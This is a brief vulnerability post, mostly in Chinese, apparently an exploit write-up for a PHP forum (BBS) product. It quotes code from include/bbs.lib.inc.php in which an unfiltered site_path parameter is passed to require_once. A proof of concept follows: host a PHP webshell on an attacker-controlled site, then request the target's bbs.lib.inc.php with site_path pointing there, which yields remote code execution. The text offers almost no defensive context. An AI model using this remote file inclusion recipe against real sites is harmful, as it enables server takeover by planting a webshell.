vul code:
\include\bbs.lib.inc.php：
if (!defined('BBS_LIB_INC_INCLUDED')) {
define('BBS_LIB_INC_INCLUDED', 1);
// *– BBS_LIB_INC_INCLUDED START –*
if(!$site_path) $site_path='./';
require_once “{$site_path}include/lib.inc.php”;
//$site_path没有过滤直接放过来包含了
poc:
在你的网站放个phpshell,目录和文件名为/include/lib.inc.php
然后访问
httP://www.target.com/include/bbs.lib.inc.php?site_path=http://yousite/